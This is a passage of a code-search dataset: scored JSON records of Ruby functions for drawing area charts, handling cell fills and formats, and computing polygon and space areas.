0xe0e0ff], 2), 0x000000)\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"mm per hour\")\n\n # Set the labels on the x axis.\n c.xAxis().setLabels(labels)\n\n # Display 1 out of 3 labels on the x-axis.\n c.xAxis().setLabelStep(3)\n\n # Add an area layer to the chart\n layer = c.addAreaLayer()\n\n # Load a snow pattern from an external file \"snow.png\".\n snowPattern = c.patternColor2(File.dirname(__FILE__) + \"/snow.png\")\n\n # Add a data set to the area layer using the snow pattern as the fill color. Use\n # deep blue (0x0000ff) as the area border line color (&H0000ff&)\n layer.addDataSet(data).setDataColor(snowPattern, 0x0000ff)\n\n # Set the line width to 2 pixels to highlight the line\n layer.setLineWidth(2)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"title": ""
},
{
"docid": "b4854364fcdad72940b469d5dabca136",
"score": "0.47021788",
"text": "def color(dindex)\n result = self.interpolate(dindex)\n return result\n end",
"title": ""
},
{
"docid": "7c8dffdcc3dae66be601b61a3a6e6b4e",
"score": "0.4666783",
"text": "def build_performance_chart_area(maxcols)\n super\n change_structure_to_timeseries\n end",
"title": ""
},
{
"docid": "68bbc0821a4dd77e87245f48fdcacdcc",
"score": "0.4662392",
"text": "def prepare_fills # :nodoc:\n fills = {}\n index = 2 # Start from 2. See above.\n\n # Add the default fills.\n fills['0:0:0'] = 0\n fills['17:0:0'] = 1\n\n # Store the DXF colors separately since them may be reversed below.\n @dxf_formats.each do |format|\n next unless format.pattern != 0 || format.bg_color != 0 || format.fg_color != 0\n\n format.has_dxf_fill(true)\n format.dxf_bg_color = format.bg_color\n format.dxf_fg_color = format.fg_color\n end\n\n @xf_formats.each do |format|\n # The following logical statements jointly take care of special cases\n # in relation to cell colours and patterns:\n # 1. For a solid fill (_pattern == 1) Excel reverses the role of\n # foreground and background colours, and\n # 2. If the user specifies a foreground or background colour without\n # a pattern they probably wanted a solid fill, so we fill in the\n # defaults.\n #\n if format.pattern == 1 && ne_0?(format.bg_color) && ne_0?(format.fg_color)\n format.fg_color, format.bg_color = format.bg_color, format.fg_color\n elsif format.pattern <= 1 && ne_0?(format.bg_color) && eq_0?(format.fg_color)\n format.fg_color = format.bg_color\n format.bg_color = 0\n format.pattern = 1\n elsif format.pattern <= 1 && eq_0?(format.bg_color) && ne_0?(format.fg_color)\n format.bg_color = 0\n format.pattern = 1\n end\n\n key = format.get_fill_key\n\n if fills[key]\n # Fill has already been used.\n format.fill_index = fills[key]\n format.has_fill(false)\n else\n # This is a new fill.\n fills[key] = index\n format.fill_index = index\n format.has_fill(true)\n index += 1\n end\n end\n\n @fill_count = index\n end",
"title": ""
},
{
"docid": "8d7ec87d1815730502edd31a4d648e80",
"score": "0.45954508",
"text": "def write_chart_type(params)\n # Write the c:areaChart element.\n write_area_chart(params)\n end",
"title": ""
},
{
"docid": "fd8350751765354ffba9243db66d75b2",
"score": "0.45612666",
"text": "def index\n @graphic_frame.anchor.drawing.worksheet.workbook.charts.index(self)\n end",
"title": ""
},
{
"docid": "fd8350751765354ffba9243db66d75b2",
"score": "0.45612666",
"text": "def index\n @graphic_frame.anchor.drawing.worksheet.workbook.charts.index(self)\n end",
"title": ""
},
{
"docid": "173a7c3f3ff8151033df4e192486d177",
"score": "0.45510995",
"text": "def write_chart_type # :nodoc:\n end",
"title": ""
},
{
"docid": "f605c36a09c3e59dc2e588ee459a2289",
"score": "0.45451826",
"text": "def get_area()\n OpenStudio::getArea(self.get_3d_polygon())\n end",
"title": ""
},
{
"docid": "ce10cf33f0344c16e605f306d815625c",
"score": "0.4533835",
"text": "def fill(pattern)\n @style[:fill] = pattern(pattern)\n end",
"title": ""
},
{
"docid": "a2e5c3ffcfcbdfb0d3c114238469963d",
"score": "0.44601622",
"text": "def get_area\n\n # get the keyword value of shape\n shape = get_keyword_value(\"SHAPE\")\n\n # if the shape value is nil, or it is defined as \"NO-SHAPE\", the get_area value\n # would be defined, and would represent the get_area of the space\n if ( shape == nil || shape == \"NO-SHAPE\")\n area = get_keyword_value(\"AREA\")\n area = area.to_f\n return area\n\n # if the shape value is \"BOX\", the height and width key values are given,\n # and the get_area would be defined as their product\n elsif ( shape == \"BOX\" )\n height = get_keyword_value(\"HEIGHT\")\n width = get_keyword_value(\"WIDTH\")\n height = height.to_f\n width = width.to_f\n return height * width\n\n # if the shape value is defined as a polygon , the get_area of the polygon would\n # represent the get_area of the space\n elsif ( shape == \"POLYGON\")\n return @polygon.get_area\n else\n raise \"Error: The area could not be evaluated. Please check inputs\\n \"\n\n end\n end",
"title": ""
},
{
"docid": "1a7ef7d0d40970d8c2db8f33dbf9d03c",
"score": "0.44195256",
"text": "def getchart()\n # The data for the area chart\n data0 = [42, 49, 33, 38, 51, 46, 29, 41, 44, 57, 59, 52, 37, 34, 51, 56, 56, 60,\n 70, 76, 63, 67, 75, 64, 51]\n data1 = [50, 55, 47, 34, 42, 49, 63, 62, 73, 59, 56, 50, 64, 60, 67, 67, 58, 59,\n 73, 77, 84, 82, 80, 84, 89]\n data2 = [87, 89, 85, 66, 53, 39, 24, 21, 37, 56, 37, 22, 21, 33, 13, 17, 4, 23,\n 16, 25, 9, 10, 5, 7, 6]\n labels = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\",\n \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\"]\n\n # Create a XYChart object of size 350 x 230 pixels\n c = ChartDirector::XYChart.new(350, 230)\n\n # Set the plotarea at (50, 30) and of size 250 x 150 pixels.\n c.setPlotArea(50, 30, 250, 150)\n\n # Add a legend box at (55, 0) (top of the chart) using 8 pts Arial Font. Set\n # background and border to Transparent.\n c.addLegend(55, 0, false, \"\", 8).setBackground(ChartDirector::Transparent)\n\n # Add a title to the x axis\n c.xAxis().setTitle(\"Network Load for Jun 12\")\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"MBytes\")\n\n # Set the labels on the x axis.\n c.xAxis().setLabels(labels)\n\n # Display 1 out of 2 labels on the x-axis. Show minor ticks for remaining labels.\n c.xAxis().setLabelStep(2, 1)\n\n # Add three area layers, each representing one data set. The areas are drawn in\n # semi-transparent colors.\n c.addAreaLayer(data2, 0x808080ff, \"Server #1\", 3)\n c.addAreaLayer(data0, 0x80ff0000, \"Server #2\", 3)\n c.addAreaLayer(data1, 0x8000ff00, \"Server #3\", 3)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"title": ""
},
{
"docid": "8d80e1e0f85bd3701e838e8a1b53cb3c",
"score": "0.44168007",
"text": "def write_chart_type(params = {})\n # Write the c:areaChart element.\n write_pie_chart\n end",
"title": ""
},
{
"docid": "3fcc4612fa08ffe4440bacd9fdf51e90",
"score": "0.44113588",
"text": "def format idx\n case idx\n when Integer\n @formats[idx] || @default_format || Format.new\n when String\n @formats.find do |fmt| fmt.name == idx end\n end\n end",
"title": ""
},
{
"docid": "e3bb1ca2c1ad777da161cf905397f536",
"score": "0.43737936",
"text": "def series_type\n end",
"title": ""
},
{
"docid": "7180898f456b063768f0e21a97ff3919",
"score": "0.43667698",
"text": "def formats_idx; end",
"title": ""
},
{
"docid": "a82ce23994ba930a5c22bd9beddffc98",
"score": "0.43620735",
"text": "def get_fill_properties(fill) # :nodoc:\n return { :_defined => 0 } unless fill\n\n fill[:_defined] = 1\n\n fill\n end",
"title": ""
},
{
"docid": "e2bf6eb847b5fa666afb857b891534cc",
"score": "0.4360302",
"text": "def write_chart_type\n # Write the c:barChart element.\n write_line_chart\n end",
"title": ""
},
{
"docid": "257b55652c721317e0dc5b9c268ffde7",
"score": "0.43557912",
"text": "def set_chartarea(params)\n # Convert the user defined properties to internal properties.\n @chartarea = get_area_properties(params)\n end",
"title": ""
},
{
"docid": "eef100a1543202a0404aa7085781db9d",
"score": "0.43009177",
"text": "def get_area\n openstudio::getArea(@points_list)\n end",
"title": ""
},
{
"docid": "8a4f065452c9238cc0060cdaf4e71ecc",
"score": "0.4300834",
"text": "def area\n return format(\"%.2f\", model.land.area)\n end",
"title": ""
},
{
"docid": "bd5d725b1b16dd26a682da7dd38a4ce9",
"score": "0.4262516",
"text": "def parse_fill_options(options = {})\n return unless options[:bg_color]\n\n color = Color.new(rgb: options[:bg_color])\n dxf = options[:type] == :dxf\n color_key = dxf ? :bgColor : :fgColor\n pattern = PatternFill.new(:patternType => :solid, color_key => color)\n fill = Fill.new(pattern)\n dxf ? fill : fills << fill\n end",
"title": ""
},
{
"docid": "b0bf934f26fbe4d26f5e0f8683fe3a5e",
"score": "0.4247607",
"text": "def get_area(type_area, array_point)\n if type_area == 'circle'\n area = { circle: { centerLatitude: array_point[0], centerLongitude: array_point[1], radius: array_point[2] } }\n else\n points = []\n array_point.each do |c|\n c = c.split(',')\n points << { latitude: c[0], longitude: c[1] }\n end\n area = { polygon: { vertices: points } }\n end\n area\n end",
"title": ""
},
{
"docid": "d47a3ad925901424c4f3a3732404ecfa",
"score": "0.42391196",
"text": "def area\n parts[0]\n end",
"title": ""
},
{
"docid": "8901eecffe8b8ef28c407dc4027dcbec",
"score": "0.42363647",
"text": "def area(arr)\n \n x_values = []\n y_values = []\n arr.each do |xy|\n x_values << xy.first\n y_values << xy.last\n end\n \n xmin = x_values.min\n xmax = x_values.max\n \n ymin = y_values.min\n ymax = y_values.max\n \n area = (ymax - ymin) * (xmax - xmin)\n \n area\nend",
"title": ""
},
{
"docid": "8c8eba7cc799cd2035a5ce2d0173ec1b",
"score": "0.42346248",
"text": "def convert_drawing_object index, render_format\n\n begin\n\n if index == ''\n raise 'Index not specified.'\n end\n\n if render_format == ''\n raise 'Render Format not specified.'\n end\n\n str_uri = $product_uri + '/words/' + @filename + '/drawingObjects/' + index.to_s + '?format=' + render_format\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = RestClient.get(signed_str_uri, {:accept => 'application/json'})\n\n valid_output = Aspose::Cloud::Common::Utils.validate_output(response_stream)\n\n if valid_output == ''\n\n output_path = $out_put_location + Aspose::Cloud::Common::Utils.get_filename(@filename) + '_' + index.to_s + '.' + render_format\n Aspose::Cloud::Common::Utils.save_file(response_stream, output_path)\n return output_path\n else\n return valid_output\n end\n\n rescue Exception => e\n print e\n end\n\n end",
"title": ""
},
{
"docid": "b119750489f6b592382ce44be7c9d8f1",
"score": "0.42124233",
"text": "def get_form_chart_types\n # Each element has format [<Display Name>, <Value>]\n [\n [\"Bar\", \"bar_chart\"],\n [\"Column\", \"column_chart\"],\n [\"Pie\", \"pie_chart\"],\n [\"Line\", \"line_chart\"]\n ]\n end",
"title": ""
},
{
"docid": "fac592a23182453acd29156aad48077d",
"score": "0.41969916",
"text": "def full_data_range(ds)\n return if max_value == false\n\n ds.each_with_index do |mds, mds_index|\n mds[:min_value] ||= min_value\n mds[:max_value] ||= max_value\n \n if mds_index == 0 && type.to_s == 'bar'\n # TODO: unless you specify a zero line (using chp or chds),\n # the min_value of a bar chart is always 0.\n #mds[:min_value] ||= mds[:data].first.to_a.compact.min\n mds[:min_value] ||= 0\n end\n if (mds_index == 0 && type.to_s == 'bar' && \n !grouped && mds[:data].first.is_a?(Array))\n totals = []\n mds[:data].each do |l|\n l.each_with_index do |v, index|\n next if v.nil?\n totals[index] ||= 0\n totals[index] += v\n end\n end\n mds[:max_value] ||= totals.compact.max\n else\n all = mds[:data].flatten.compact\n # default min value should be 0 unless set to auto\n if mds[:min_value] == 'auto'\n mds[:min_value] = all.min\n else\n min = all.min\n mds[:min_value] ||= (min && min < 0 ? min : 0)\n end\n mds[:max_value] ||= all.max\n end\n end\n\n unless axis_range\n @calculated_axis_range = true\n @axis_range = ds.map{|mds| [mds[:min_value], mds[:max_value]]}\n if dimensions == 1 && (type.to_s != 'bar' || horizontal)\n tmp = axis_range.fetch(0, [])\n @axis_range[0] = axis_range.fetch(1, [])\n @axis_range[1] = tmp\n end\n end\n # return [min, max] unless (min.nil? || max.nil?)\n # @max = (max_value.nil? || max_value == 'auto') ? ds.compact.map{|mds| mds.compact.max}.max : max_value\n # \n # if min_value.nil? \n # min_ds_value = ds.compact.map{|mds| mds.compact.min}.min || 0\n # @min = (min_ds_value < 0) ? min_ds_value : 0\n # else\n # @min = min_value == 'auto' ? ds.compact.map{|mds| mds.compact.min}.min || 0 : min_value \n # end\n # @axis_range = [[min,max]]\n end",
"title": ""
},
{
"docid": "910324cb4c9f40fc5811d0db5a36f9a1",
"score": "0.41934186",
"text": "def get_area\n\n # get the keyword for the shape of the floor\n case get_keyword_value(\"SHAPE\")\n\n # if the keyword value is \"BOX\", the width and depth values are defined\n when \"BOX\"\n return get_keyword_value(\"WIDTH\").to_f * get_keyword_value(\"DEPTH\").to_f\n\n # if the keyword value is \"POLYGON\", the get_area is defined as the area of the\n # given polygon\n when \"POLYGON\"\n return @polygon.get_area\n\n # if the keyword value of the floor is \"No-SHAPE\", the get_area is given as the\n # get_area keyword value\n when \"NO-SHAPE\"\n return get_keyword_value(\"AREA\").to_f\n else\n raise \"Error: The area could not be evaluated. Please check inputs\\n \"\n end\n end",
"title": ""
},
{
"docid": "4e616d863b40f8707782b63fa255e6cd",
"score": "0.4182087",
"text": "def fill_content\n if ! @content[:type]\n if @args[:horizontal]\n @content[:type] = 'horizontalBar' \n else\n @content[:type] = 'bar' \n end\n end\n\n raise \"bar chart maker needs labels . content #{@content}\" if ! data[:labels]\n data[:datasets].each do |current|\n add_color(current) if ! current[:borderColor]\n current[:fill] = false if ! current[:fill]\n current[:lineTension] = 0 if ! current[:lineTension]\n raise \"chart maker needs data. content #{@content}\" if ! current[:data]\n end\n\n end",
"title": ""
},
{
"docid": "3c6a393cd297dede57ff7eba699ec338",
"score": "0.41574225",
"text": "def area\n info[:area].to_sym\n end",
"title": ""
},
{
"docid": "9fb09a1e528c8623dd7d66e295c98764",
"score": "0.41565135",
"text": "def background_fill\n @background_fill ||= begin\n digest = \"0.#{Digest::MD5.hexdigest(@name).to_i(16).to_s}\".to_f\n index = (digest * (@background_colors.length - 1)).round\n @background_colors[index]\n end\n end",
"title": ""
},
{
"docid": "141c6fb0e57928a6d9a4aa144f7fc2f1",
"score": "0.41510966",
"text": "def get_col_style(column_index)\n range = cols.locate_range(column_index)\n (range && range.style_index) || 0\n end",
"title": ""
},
{
"docid": "c10dc363a5a408eb2982953262a22398",
"score": "0.41466692",
"text": "def chart_data_full\n {\n labels: Array.new(chart_data.length, ''),\n datasets: [\n {\n fillColor: \"rgba(220,220,220,0.2)\",\n strokeColor: \"rgba(220,220,220,1)\",\n data: chart_data\n }\n ]\n }\n end",
"title": ""
},
{
"docid": "c10dc363a5a408eb2982953262a22398",
"score": "0.41466692",
"text": "def chart_data_full\n {\n labels: Array.new(chart_data.length, ''),\n datasets: [\n {\n fillColor: \"rgba(220,220,220,0.2)\",\n strokeColor: \"rgba(220,220,220,1)\",\n data: chart_data\n }\n ]\n }\n end",
"title": ""
},
{
"docid": "6ed7568a10a13b69caa5664347c037a4",
"score": "0.4144041",
"text": "def piece_color(index)\n return @@pieces[index][\"color\"]\n end",
"title": ""
},
{
"docid": "01ef04c356c84c308e950a152ed0350b",
"score": "0.41380095",
"text": "def fill(colorspec)\n primitive \"fill #{enquote(colorspec)}\"\n end",
"title": ""
},
{
"docid": "fe89a9ca24e22416dbc7814376cb44cc",
"score": "0.4124546",
"text": "def default_format\n @default_format || @worksheet.default_format || @workbook.default_format\n end",
"title": ""
},
{
"docid": "3c61fe02d79e68ea7981918d5dee7c80",
"score": "0.41183275",
"text": "def area\n respond_to?(:constituencyGroupHasConstituencyArea) ? constituencyGroupHasConstituencyArea.first : nil\n end",
"title": ""
},
{
"docid": "a6f03a7e4e7a8b2dce83dc072be53f08",
"score": "0.411753",
"text": "def fill_color(color)\n end",
"title": ""
},
{
"docid": "4492d7d4dec6869db660c319f9212ab8",
"score": "0.41139707",
"text": "def hash\n [ axis_color , axis_position , bar_border , bar_fill_type , color , direction , max_cfvo , max_length , min_cfvo , min_length , negative_bar_format , show_value ].hash\n end",
"title": ""
},
{
"docid": "1456a10f5dbc6a85c9904239af3cb769",
"score": "0.41138545",
"text": "def get_col_style(column_index)\n range = cols.locate_range(column_index)\n (range && range.style_index) || 0\n end",
"title": ""
},
{
"docid": "708df5ceb3aa5aae2cf13ed055aed0c1",
"score": "0.41020578",
"text": "def line(series, style: 'fill')\n chart = Rasem::SVGImage.new(class: 'chart-image', preserveAspectRatio: 'none', viewBox: '0 0 1 1') do\n series.each_with_index do |values, n|\n path(class: \"chart-#{style}-color-#{n}\") do\n y_max = values.max || 0\n y_min = values.min || 0\n y_scale = y_max - y_min\n\n y_min = y_min - 0.1 * y_scale\n y_scale = 1.2 * y_scale\n\n y_first = values.first || 0\n\n x_max = values.count.to_f\n x_min = 0\n x_scale = x_max - x_min - 1\n\n if style == 'fill'\n moveToA(0, 1)\n lineToA(x_min, 1 - (y_first - y_min) / y_scale)\n elsif style == 'stroke'\n moveToA(x_min, 1 - (y_first - y_min) / y_scale)\n else\n raise ArgumentError, 'invalid stroke'\n end\n\n values.each_with_index do |value, n|\n lineToA((n - x_min) / x_scale, 1 - (value - y_min) / y_scale)\n end\n\n if style == 'fill'\n lineToA(1, 1)\n elsif style == 'stroke'\n # pass\n else\n raise ArgumentError, 'invalid stroke'\n end\n end\n end\n end\n\n chart.to_s.html_safe\n end",
"title": ""
},
{
"docid": "6ad5b98f97e73fc659c549b6f095835f",
"score": "0.4094668",
"text": "def change_fill(rgb='ffffff')\n validate_worksheet\n Color.validate_color(rgb)\n @style_index = modify_fill(@workbook, @style_index,rgb)\n end",
"title": ""
},
{
"docid": "175074cbb21aa7e11ae936ab6f211900",
"score": "0.40647689",
"text": "def basic_chart\n \n end",
"title": ""
},
{
"docid": "4efa41354676ce809d5498a13217a3c8",
"score": "0.40640953",
"text": "def radar_style\n @radar_style ||= :standard\n end",
"title": ""
},
{
"docid": "f203f43dc9fcee0437a1d59fb40a3d24",
"score": "0.40639356",
"text": "def document_range_formatting_provider\n attributes.fetch(:documentRangeFormattingProvider)\n end",
"title": ""
},
{
"docid": "f8a9855ad3786e96050bf3aee3e02996",
"score": "0.40638372",
"text": "def _getDrawingArea()\n drawingArea = Rect.new_with_nsrect(self.bounds())\n if drawingArea\n drawingArea.Deflate(@border, @border)\n# NSLog(\"drawingArea = #{drawingArea}\")\n end\n return drawingArea\n end",
"title": ""
},
{
"docid": "4e116270480fffd4d9943fbc01404bbe",
"score": "0.4047037",
"text": "def fill(color)\n @style[:fill] = color\n end",
"title": ""
},
{
"docid": "889bfbcdb22c9cdd0d4e907dcd2a5cc7",
"score": "0.40456122",
"text": "def fill=(value)\n @fill = value\n end",
"title": ""
},
{
"docid": "3ae1692b803cb1d8ccce4219eda6f525",
"score": "0.40437916",
"text": "def set_chartarea(params)\n # Convert the user defined properties to internal properties.\n @chartarea = ChartArea.new(params)\n end",
"title": ""
},
{
"docid": "a46a79eaaae07530756a2332694eaedb",
"score": "0.4043359",
"text": "def fill\n return @fill\n end",
"title": ""
},
{
"docid": "1c62d0f752d58a79d7643317cbd4bc69",
"score": "0.4039115",
"text": "def pn\n format(CHART_PN, index + 1)\n end",
"title": ""
},
{
"docid": "4ce25cedfbed675ef95eee8e6cda7ee9",
"score": "0.40332273",
"text": "def interpolate( dindex )\n vs = self.interpolators.map {|inter| inter.interpolate( dindex )}\n if self.interpoldomain == :rgb\n return Color[ *vs ]\n elsif self.interpoldomain == :hsv\n return Color.hsva( *vs )\n else\n return Color.hsla( *vs )\n end\n end",
"title": ""
},
{
"docid": "e188c8f2172122d315c5d7563f28edc3",
"score": "0.40303078",
"text": "def svg\n values = self[0..2].map do |v|\n v = Range.O.trim( v )\n (255.0 * v).to_i \n end\n return \"rgb(#{values.join(\",\")})\"\n end",
"title": ""
},
{
"docid": "2742544030f85ca1a7f78972f863ea13",
"score": "0.40283152",
"text": "def index_formats(format)\n end",
"title": ""
},
{
"docid": "38aca4fba217dd54cc1f6d9802683d9d",
"score": "0.40252456",
"text": "def formatter\n raw_data['formatter']\n end",
"title": ""
},
{
"docid": "a0ff71f42ab439db37708c6e1c03d875",
"score": "0.40192628",
"text": "def get_area()\n @space.get_area()\n end",
"title": ""
},
{
"docid": "ec54d8b85ea6b83537bd36c385b3b213",
"score": "0.40127772",
"text": "def area\n respond_to?(:constituencyGroupHasConstituencyArea) ? constituencyGroupHasConstituencyArea.first : nil\n end",
"title": ""
},
{
"docid": "ff579645e6b4d99da4587b162b3fbed1",
"score": "0.40025568",
"text": "def backgroundColor\n if self.highest?\n \"#ff884d\"\n elsif self.high?\n \"#ffcc80\"\n else\n \"#ffefcc\"\n end\n end",
"title": ""
},
{
"docid": "6b715239c622126f98cd85111d06c0d9",
"score": "0.40016407",
"text": "def gen_bar(amount, full, width,\n border_char_l=\"[\", border_char_r=\"]\", border_color=:white,\n bar_on_char=\"|\", bar_off_char=\" \", \n bar_colors=[:green, :yellow, :red],\n cut=-1\n )\n\n bar_l = border_char_l.send(border_color)\n bar_r = border_char_r.send(border_color)\n\n barN_amount = (1.0)*(amount)/(full)*(width)\n barN_empty = width - barN_amount\n\n bar_use = (bar_on_char * barN_amount)\n bar_space = (bar_off_char * barN_empty)\n\n bar_fill = bar_use + bar_space\n bar_colored = \"\"\n bar_colors.each_index do |index|\n start_i = (width / bar_colors.size) * index\n end_i = (width / bar_colors.size) * (index+1)\n filling = bar_fill[ start_i..end_i ].send( bar_colors[index] )\n if cut == index\n return filling.uncolorize\n end\n bar_colored += filling\n end\n \n return \"#{bar_l}#{bar_colored}#{bar_r}\"\nend",
"title": ""
},
{
"docid": "e99e5efb90bf07845d03e4d493426382",
"score": "0.39734045",
"text": "def draw_area(data,serie1,serie2,r,g,b,alpha = 50)\n validate_data(\"draw_area\",data)\n layer_width = @g_area_x2-@g_area_x1\n layer_height = @g_area_y2-@g_area_y1\n\n @layers[0] = image_create_true_color(layer_width,layer_height)\n image_filled_rectangle(@layers[0],0,0,layer_width,layer_height,255,255,255)\n image_color_transparent(@layers[0],255,255,255)\n\n x_pos = @g_area_x_offset\n last_x_pos = -1\n last_y_pos1 = nil\n last_y_pos2= nil\n data.each do |key|\n value1 = key[serie1]\n value2 = key[serie2]\n y_pos1 = layer_height - ((value1-@vmin) * @division_ratio)\n y_pos2 = layer_height - ((value2-@vmin) * @division_ratio)\n\n if ( last_x_pos != -1 )\n points = []\n points << last_x_pos\n points << last_y_pos1\n points << last_x_pos\n points << last_y_pos2\n points << x_pos\n points << y_pos2\n points << x_pos\n points << y_pos1\n image_filled_polygon(@layers[0],points,r,g,b,4)\n end\n last_y_pos1 = y_pos1\n last_y_pos2 = y_pos2\n last_x_pos = x_pos\n x_pos= x_pos+ @division_width\n end\n image_copy_merge(@layers[0],@picture,@g_area_x1,@g_area_y1,0,0,layer_width,layer_height,alpha)\n image_destroy(@layers[0])\n end",
"title": ""
},
{
"docid": "ef016be70763bce892f5a8884d490687",
"score": "0.3961689",
"text": "def format\n return @format\n end",
"title": ""
},
{
"docid": "ef016be70763bce892f5a8884d490687",
"score": "0.3961689",
"text": "def format\n return @format\n end",
"title": ""
},
{
"docid": "ef016be70763bce892f5a8884d490687",
"score": "0.3961689",
"text": "def format\n return @format\n end",
"title": ""
},
{
"docid": "e6f3448051b1d1e47a2b8f198cc7dc37",
"score": "0.3960748",
"text": "def AREA(property)\n dataset.send(property)\n end",
"title": ""
},
{
"docid": "c26fbddfea5536ec7fc14375054aea30",
"score": "0.39500865",
"text": "def format_indexes( indexes )\n formatted = {}\n indexes.each_pair do |key, values|\n buff = []\n values.each do |pair|\n buff << \"#{pair.first} [#{pair.last}]\"\n end\n formatted[key] = buff\n end \n formatted \n end",
"title": ""
},
{
"docid": "8cdd2495a8321ff58e8766fd47553497",
"score": "0.39499986",
"text": "def setfillstyle(*)\n super\n end",
"title": ""
},
{
"docid": "5338e0eb10eea8d1cfa367010d5d708c",
"score": "0.39485586",
"text": "def index\n @chart.series.index(self)\n end",
"title": ""
},
{
"docid": "20e894470e01c4aeb1c2bde8dae79405",
"score": "0.39259022",
"text": "def [](index)\n return @scales[index]\n end",
"title": ""
},
{
"docid": "f3506de4494ca9a9de63aa91ccdf347c",
"score": "0.39256278",
"text": "def draw_level_array(icon_index = QuestData::LEVEL_ICON)\n return if icon_index.empty?\n icon_index = icon_index[@quest.level - 1] ? icon_index[@quest.level - 1] : icon_index[-1]\n align = QuestData::HEADING_ALIGN[:level]\n x = align == 2 ? contents_width - 24 : align == 1 ? (contents_width-24)/2 : 0\n draw_icon(icon_index, x, @draw_y)\n end",
"title": ""
},
{
"docid": "998eb61f909a3c8fb9ecd6a1bf403eef",
"score": "0.39165318",
"text": "def format\n lookup_val = Integer(@rf['format'])\n @_format ||= format_proxy.lookup_format_name(lookup_val)\n rescue\n @rf['format']\n end",
"title": ""
},
{
"docid": "59e09a8e30d04497acd6deb47060bce9",
"score": "0.3916069",
"text": "def precision_axis_and_area\n prec = Array.new(@p.size)\n area = 0.0\n i = @p.size - 1\n max = prec[i] = actual_precision(i); i -= 1\n\n while i >= 0\n max = prec[i] = [max, actual_precision(i)].max\n area += ( tpr(i+1).to_f - tpr(i).to_f ) * max\n\n i -= 1\n end\n prec[0] = 1.0\n\n OpenStruct.new({:precision_axis => prec, :area => area})\n end",
"title": ""
},
{
"docid": "b89d679fbc5ceac614d41c7da145e544",
"score": "0.3914161",
"text": "def country_area\n if country? || try(:base_dataset).blank?\n self\n else\n # Remove a trailing year from the dataset key.\n base_key = base_dataset.gsub(/\\d{4}$/, '')\n\n self.class.find_by_country_memoized(base_key).country_area || self\n end\n end",
"title": ""
},
{
"docid": "113200f3501d514066fd626fcce7f79c",
"score": "0.39136377",
"text": "def area\n appellation.region.area\n end",
"title": ""
},
{
"docid": "9cf0e778252a60c0930f8e6fafb39d15",
"score": "0.39081556",
"text": "def index\n @area_attributes = AreaAttribute.all\n end",
"title": ""
},
{
"docid": "7ace0c8b19983f439295ce76f6888ad7",
"score": "0.38996035",
"text": "def chart_title(chart_type, ind)\n \"#{ind + 1} - #{chart_type}\"\nend",
"title": ""
},
{
"docid": "66be4ca314be628d354c7adb677d6d30",
"score": "0.38995987",
"text": "def area\n\n step = @options[:step].to_f\n height = @options[:height].to_f\n background_color = @options[:background_color]\n\n create_canvas((@norm_data.size - 1) * step + 4, height, background_color)\n\n upper = @options[:upper].to_f\n\n has_min = @options[:has_min]\n has_max = @options[:has_max]\n has_last = @options[:has_last]\n\n min_color = @options[:min_color]\n max_color = @options[:max_color]\n last_color = @options[:last_color]\n below_color = @options[:below_color]\n above_color = @options[:above_color]\n\n\n coords = [[0,(height - 3 - upper/(101.0/(height-4)))]]\n i=0\n @norm_data.each do |r|\n coords.push [(2 + i), (height - 3 - r/(101.0/(height-4)))] if r\n i += step\n end\n coords.push [(@norm_data.size - 1) * step + 4, (height - 3 - upper/(101.0/(height-4)))]\n\n # TODO Refactor! Should take a block and do both.\n #\n # Block off the bottom half of the image and draw the sparkline\n @draw.fill(above_color)\n @draw.define_clip_path('top') do\n @draw.rectangle(0,0,(@norm_data.size - 1) * step + 4,(height - 3 - upper/(101.0/(height-4))))\n end\n @draw.clip_path('top')\n @draw.polygon(*coords.flatten)\n\n # Block off the top half of the image and draw the sparkline\n @draw.fill(below_color)\n @draw.define_clip_path('bottom') do\n @draw.rectangle(0,(height - 3 - upper/(101.0/(height-4))),(@norm_data.size - 1) * step + 4,height)\n end\n @draw.clip_path('bottom')\n @draw.polygon(*coords.flatten)\n\n # The sparkline looks kinda nasty if either the above_color or below_color gets the center line\n @draw.fill('black')\n @draw.line(0,(height - 3 - upper/(101.0/(height-4))),(@norm_data.size - 1) * step + 4,(height - 3 - upper/(101.0/(height-4))))\n\n # After the parts have been masked, we need to let the whole canvas be drawable again\n # so a max dot can be displayed\n @draw.define_clip_path('all') do\n @draw.rectangle(0,0,@canvas.columns,@canvas.rows)\n end\n @draw.clip_path('all')\n\n drawbox(coords[@norm_data.index(@norm_data.compact.min)+1], 1, min_color) if has_min == true\n drawbox(coords[@norm_data.index(@norm_data.compact.max)+1], 1, max_color) if has_max == true\n\n drawbox(coords[-2], 1, last_color) if has_last == true\n\n @draw.draw(@canvas)\n @canvas\n end",
"title": ""
},
{
"docid": "15332f6b98681fd7748152049c1bc73c",
"score": "0.38982928",
"text": "def fill_content\n @content[:type] = 'line' if ! @content[:type]\n\n # data portion\n raise \"line chart maker needs labels . content #{@content}\" if ! data[:labels]\n data[:datasets].each do |current|\n puts \"current is #{current}\"\n add_color(current) if ! current[:borderColor]\n if ! current[:fill]\n current[:fill] = false \n if @args[:stacked] # stack chart and fill make more sense together\n current[:fill] = true\n end\n end\n current[:lineTension] = 0.1 if ! current[:lineTension]\n raise \"chart maker needs data. content #{@content}\" if ! current[:data]\n end\n end",
"title": ""
},
{
"docid": "aa43f8beb685e3b6e3947e613bb616b8",
"score": "0.38933215",
"text": "def layout_for(area = :reader)\n default = Radiant::Config[\"#{area}.layout\"]\n name = if self.respond_to?(\"#{area}_layout\") && layout = self.send(\"#{area}_layout\".intern)\n layout.name\n elsif layout = Layout.find_by_name(default)\n layout.name\n elsif layout = self.reader_layout\n layout.name\n end\n name\n end",
"title": ""
},
{
"docid": "bc80bc54f6bf0b3cf901a37d390a8d0a",
"score": "0.38929304",
"text": "def current_area\n PoliticalArea.nyc\n end",
"title": ""
},
{
"docid": "403bb3192a7f486ba26ed2f3210f20d6",
"score": "0.3891382",
